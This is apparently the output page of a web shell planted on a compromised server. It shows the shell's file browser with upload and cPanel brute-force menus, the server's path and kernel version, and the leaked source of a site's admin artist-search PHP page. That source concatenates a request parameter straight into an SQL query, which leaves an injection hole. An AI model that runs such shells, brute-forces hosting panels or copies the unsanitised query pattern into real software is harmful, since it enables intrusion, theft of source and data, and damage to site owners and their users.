Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/artistSearch.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } include_once('includes/header.php'); ?> <form method="POST" action="<?echo $_SERVER['PHP_SELF']?>" enctype="multipart/form-data"> Search By Artist: <br> <? $sql = "SELECT artist_name,artist_id FROM 50mm_artists WHERE approved = 1 ORDER BY artist_name ASC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $artist_dd="<select name=\"artistId\">\n"; $artist_dd.= "<option value=\"\">-- view all artist --</option>\n"; while($row = $db->sql_fetchrow($result)){ $artist_dd.= "<option value=\"".$row['artist_id']."\">".$row['artist_name']."</option>\n"; } $artist_dd.="</select>\n"; echo $artist_dd; ?> <br> <input type="submit" class="button" value="search" name="search"> </form> <? if(isset($_REQUEST['search'])){ //get a list of all poll choices if(empty($_REQUEST['artistId'])){ $sql = "SELECT artist_id, artist_name,location FROM 50mm_artists WHERE approved = 1 ORDER BY artist_name ASC"; }else{ $sql = "SELECT artist_id, artist_name,location FROM 50mm_artists WHERE artist_id = '".$_REQUEST['artistId']."'"; } if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $modrows = Array(); while ($row = $db->sql_fetchrow($result)){ $id = $row['artist_id']; $xtras = Array(); if(has_permission("artistEdit")){ $xtras['edit'] = "<a href=\"artistEdit.php?artistId=$id\">edit</a>"; } if(has_permission("artistDelete")){ $xtras['delete'] = "<a href=\"artistDelete.php?artistId=$id\">delete</a>"; } unset($row['artist_id']); $all = array_merge($row,$xtras); array_push($modrows, $all); } echo(get_table($modrows)); } ?> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>